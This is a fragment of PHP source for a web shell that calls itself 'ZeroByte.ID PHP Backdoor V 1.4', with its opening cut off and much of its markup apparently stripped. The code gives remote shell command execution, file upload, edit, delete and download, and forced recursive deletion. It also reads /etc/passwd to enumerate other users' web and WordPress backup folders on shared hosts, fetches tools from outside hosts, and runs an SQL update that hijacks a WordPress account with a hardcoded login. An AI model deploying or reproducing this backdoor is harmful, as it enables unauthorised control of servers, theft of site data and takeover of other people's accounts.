'.$fpermsinfo.''; } function eof() {echo "\x77\x77\x77\x2e\x7a\x65\x72\x6f\x62\x79\x74\x65\x2e\x69\x64";} ?> ZeroByte.ID PHP Backdoor V 1.4

ZeroByte.ID
Shell V 1.4

ON" : "OFF"; $curl = (function_exists('curl_version')) ? "ON" : "OFF"; $wget = (exect('wget --help')) ? "ON" : "OFF"; $perl = (exect('perl --help')) ? "ON" : "OFF"; $gcc = (exect('gcc --help')) ? "ON" : "OFF"; $disfunc = @ini_get("disable_functions"); $show_disf = (!empty($disfunc)) ? "$disfunc" : "NONE"; echo '
[ MySQL: '.$mysql.' ][ Curl: '.$curl.' ][ Wget: '.$wget.' ][ Perl: '.$perl.' ][ Compiler: '.$gcc.' ]'; echo '

Disable Function: '.$show_disf; ?>

'; echo ''; $lendir = str_replace("\\","/",$offdir); $xlendir = explode("/", $lendir); foreach($xlendir as $c_dir => $cdir) { echo "$cdir/"; } echo '

'; ## EOF CURRENT DIR ## if(!empty($dir)) { echo ''; echo ''."\n"; $directories = array(); $files_list = array(); $files = scandir($dir); foreach($files as $file){ if(($file != '.') && ($file != '..')){ if(is_dir($dir.'/'.$file)){ $directories[] = $file; } else{ $files_list[] = $file; } } } foreach($directories as $directory){ echo ''."\n"; echo ''."\n"; echo ''."\n"; echo ''."\n"; } foreach($files_list as $filename){ if(preg_match('/(tar.gz)$/', $filename)) { echo ''."\n"; echo ''."\n"; echo ''."\n"; echo ''."\n"; } else { echo ''."\n"; echo ''."\n"; echo ''."\n"; echo ''."\n"; } } echo '

Name	Permission	Action
[D] '.$directory.'/	'; fperms($dir.'/'.$directory); echo '	'; echo 'RENAME '; echo 'DELETE'; echo '
[F] '.$filename.''."\n"; echo ' EXTRACT TO TMP'; echo '	'; fperms($dir.'/'.$filename); echo '	'; echo 'RENAME '; echo 'DELETE '; echo 'DOWNLOAD'; echo '
[F] '.$filename.'	'; fperms($dir.'/'.$filename); echo '	'; echo 'EDIT '; echo 'RENAME '; echo 'DELETE '; echo 'DOWNLOAD'; echo '

'; } if($_GET['action'] == 'edit') { if($_POST['save']) { $save = file_put_contents($_GET['file'], $_POST['src']); if($save) { $act = "Successed!"; } else { $act = "Permission Denied!"; } echo "".$act."
"; } echo "Filename: ".basename($_GET['file']).""; echo ""; } else if($_GET['action'] == 'view') { echo "Filename: ".basename($_GET['file']).""; echo "

".htmlspecialchars(@file_get_contents($_GET['file']))."

"; } else if($_GET['action'] == 'rename') { $path = $offdir; if($_POST['do_rename']) { $rename = rename($_GET['file'], "$path/".htmlspecialchars($_POST['rename']).""); if($rename) { $act = "Successed!"; } else { $act = "Permission Denied!"; } echo "".$act."
"; } echo "Filename: ".basename($_GET['file']).""; echo ""; } else if($_GET['action'] == 'delete') { $path = $offdir; $delete = unlink($_GET['file']); if($delete) { } else { $act = "Permission Denied!"; } echo $act; } else if($_GET['action'] == 'rmdir') { $path = $offdir; $delete = rmdir($_GET['file']); if($delete) { echo 'Deleted!
'; } else { echo "\nError remove dir, try to force delete!\n
"; exect('rm -rf '.$_GET['file']); if(file_exists($_GET['file'])) { echo 'Permission Denied!'; } else { echo 'Deleted!'; } } } else if($_GET['action'] == 'download') { @ob_clean(); $file = $_GET['file']; header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($file).'"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($file)); readfile($file); exit; } #### EOF ##### if($_GET['ext'] == 'jumpusr') { echo '

.::[ Readable User Path ]::.

'; echo "
"; echo "[ /home/user/public_html ]\n"; echo "[ /home/user/backupwordpress ]\n"; echo ""; } ################### if($_GET['ext'] == 'jpublic_html') { echo '

.::[ Readable public_html ]::.

'; $i = 0; echo "

";
		$etc = fopen("/etc/passwd", "r");
		while($passwd = fgets($etc)) {
			if($passwd == '' || !$etc) {
				echo "Can't read /etc/passwd";
			} else {
				preg_match_all('/(.*?):x:/', $passwd, $user);
				foreach($user[1] as $users) {
					$user_dir = "/home/$users/public_html";
					if(is_readable($user_dir)) {
						$i++;
						$jrw = "[R] /home/$users/public_html";
						if(is_writable($user_dir)) {
							$jrw = "[RW] /home/$users/public_html";
						}
						echo $jrw."\n";

					}
				}
			}
		}
		if($i == 0) { 
			echo 'public_html which readable is null in this host!';
		} else {
			echo "
Total ".$i." Users in ".gethostbyname($_SERVER['HTTP_HOST'])."";
		}
		echo "

"; } ##################### if($_GET['ext'] == 'backupwordpress') { echo '

.::[ Readable Backupwordpress ]::.

'; $i = 0; echo "

";
		$etc = fopen("/etc/passwd", "r");
		while($passwd = fgets($etc)) {
			if($passwd == '' || !$etc) {
				echo "Can't read /etc/passwd";
			} else {
				preg_match_all('/(.*?):x:/', $passwd, $user);
				foreach($user[1] as $users) {
					$user_dir = "/home/$users/backupwordpress";
					if(is_readable($user_dir)) {
						$i++;
						$jrw = "[R] /home/$users/backupwordpress";
						if(is_writable($user_dir)) {
							$jrw = "[RW] /home/$users/backupwordpress";
						}
						echo $jrw."\n";

					}
				}
			}
		}
		if($i == 0) { 
			echo 'backupwordpress is null in this host!';
		} else {
			echo "
Total ".$i." Users in ".gethostbyname($_SERVER['HTTP_HOST'])."";
		}
		echo "

"; } ##################### if($_GET['ext'] == 'vdomain') { echo ''; function vdomain($domaindir) { $domainfile = scandir($domaindir); $i = 0; echo "\n"; echo ""; foreach($domainfile as $domain){ $i++; if(!is_dir($domain) && !preg_match('/^[*.]/', $domain) && !preg_match('/[0-9]$/', $domain)) { $user = exec("ls -l $domaindir$domain | awk '{print $3}'"); echo ''; if(is_readable("/home/$user/backupwordpress")){ echo ''; } else { echo ''; } echo ''; } } echo "

Domain	User	Jump BW
'.$domain.'	'.$user.'	Yes	No

\n"; echo "Total $i Domains."; } if(is_readable("/etc/vfilters/")) { $domaindir = '/etc/vfilters/'; vdomain($domaindir); } else if(is_readable("/etc/valiases/")) { $domaindir = '/etc/valiases/'; vdomain($domaindir); } else { echo "

vDomain Is Empty!

"; } echo ''; } ### EXTRACTOR TO TMP ### else if($_GET['ext'] == 'extract2tmp') { if (file_exists($_SERVER["DOCUMENT_ROOT"].'/tmp/') && is_writable($_SERVER["DOCUMENT_ROOT"].'/tmp/')) { $tmppath = $_SERVER["DOCUMENT_ROOT"].'/tmp/'; } else if(file_exists(dirname($_SERVER["DOCUMENT_ROOT"]).'/tmp/') && is_writable(dirname($_SERVER["DOCUMENT_ROOT"]).'/tmp/')) { $tmppath = dirname($_SERVER["DOCUMENT_ROOT"]).'/tmp/'; } else if(file_exists('/tmp/') && is_writable('/tmp/')) { $tmppath = '/tmp/'; } else { $tmppath = ''; } if(!empty($tmppath)) { $gzfile = $_GET['gzname']; echo '[FILE] '.$gzfile.'
'; echo '-- extract to --
'; echo '[TMP] '.$tmppath.'
'; $bsname = basename($gzfile); $gzrname = explode(".", $bsname); echo ''; if(!empty($_POST['extract'])) { exect('mkdir '.$tmppath.$gzrname[0]); $destdir = $tmppath.$gzrname[0]; if (file_exists($destdir) && is_writable($destdir)) { echo "\n".'[EXTRACTED] '.$destdir.''."\n"; exect('tar -xzvf '.$gzfile.' -C '.$destdir); } else { echo 'FAILED!'; } } } else { echo 'CANNOT EXTRACT TO TMP!'; } } ### EXTRACTOR TO TMP - EOF ### ### CMD ### else if($_GET['ext'] == 'shellcmd') { echo '

.::[ Shell Command ]::.

'; echo ''; if(!empty($_POST['cmd'])) { echo '

';
			$cmd = $_POST['cmd'];
			echo exect($cmd);
		echo '

'; } } ### CMD EOF ### ### UPLOADER ### else if($_GET['ext'] == 'uploader') { echo '

.::[ Uploader ]::.

'; echo ''; echo ''; if($_POST["postupl"] == 'Upload') { if(@copy($_FILES["zerofile"]["tmp_name"],"$offdir/".$_FILES["zerofile"]["name"])) { echo 'OK! '."$offdir/".$_FILES["zerofile"]["name"].''; } else { echo 'Upload Failed.'; } } echo ''; } ### UPLOADER EOF ### ### MYSQL INTERFACE ### else if($_GET['ext'] == 'sql_interface') { echo '

.::[ MySQL Interface ]::.

'; echo ''; $dwadminer = 'https://www.adminer.org/static/download/4.3.1/adminer-4.3.1.php'; $fileadminer = 'z-adminer.php'; function call_adminer($dwadminer, $fileadminer) { $fp = fopen($fileadminer, "w+"); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $dwadminer); curl_setopt($ch, CURLOPT_BINARYTRANSFER, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_FILE, $fp); return curl_exec($ch); curl_close($ch); fclose($fp); ob_flush(); flush(); file_put_contents($dwadminer, $fileadminer); } echo ''; if($_POST['mysql_int'] == 'Call Adminer 4.3.1') { call_adminer($dwadminer, $fileadminer); $linkz = (isset($_SERVER['HTTPS']) ? "https" : "http") . "://$_SERVER[HTTP_HOST]"; if(file_exists('z-adminer.php')) { echo 'Adminer OK!'; } else { echo '[FAILED]'; } } echo ''; } ### MYSQL INTERFACE EOF ### else if($_GET['ext'] == 'stoolkit') { echo '

.::[ Support Toolkit ]::.

'; echo ''; echo '

'; if($_POST['backupwpsh']) { @ob_clean(); $file = "https://pastebin.com/raw/i9WYErLw"; header('Content-Description: File Transfer'); header('Content-Type: text/plain'); header('Content-Disposition: attachment; filename="backupwp.sh"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($file)); echo (file_get_contents($file)); exit; } echo ''; } ### MYSQL INTERFACE EOF ### ### TAMBAHAN BACKUPWORDPRESS BASH ### if($_GET['grab'] == 'wp_options') { $userdb = $_POST['wpuser']; $passdb = $_POST['wppass']; $namedb = $_POST['wpdb']; $hostdb = $_POST['wphost']; echo 'WP_OPTIONS'; if(!empty($userdb)) { $link = mysql_connect($hostdb, $userdb, $passdb); if (!$link) {die('Could not connect: ' . mysql_error());} if (!mysql_select_db($namedb)) {die('Could not select database: ' . mysql_error());} // $tblz = mysql_query("SELECT table_name FROM information_schema.tables WHERE table_schema='".$namedb."' AND table_name LIKE '%_options' LIMIT 1"); if (!$tblz) {die('Could not query:' . mysql_error());} $tbl = mysql_result($tblz, 0, 'table_name'); // outputs third employee's name $result = mysql_query("SELECT option_value FROM ".$tbl." WHERE option_name = 'siteurl' AND option_id = '1'"); if (!$result) {die('Tbl Could not query:' . mysql_error());} echo "\n".'[DOMAIN] '.mysql_result($result, 0, 'option_value')."\n"; // outputs third employee's name mysql_close($link); } } else if($_GET['grab'] == 'wp_users_updt') { $userdb = $_POST['wpuser']; $passdb = $_POST['wppass']; $namedb = $_POST['wpdb']; $hostdb = $_POST['wphost']; $prefix = $_POST['tpfx']; echo 'WP_USERS'; $conn = new mysqli($hostdb, $userdb, $passdb, $namedb); if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); } $sql = "UPDATE ".$prefix."users SET user_login = 'zerobyte', user_pass = MD5('id1337') WHERE user_status = '0' LIMIT 1"; if ($conn->query($sql) === TRUE) { echo "Record updated successfully"; } else { echo "Error updating record: " . $conn->error; } $conn->close(); } ### TAMBAHAN BACKUPWORDPRESS BASH EOF ### ### FOOTER ### echo ''; echo ''; ?>

ZeroByte.IDShell V 1.4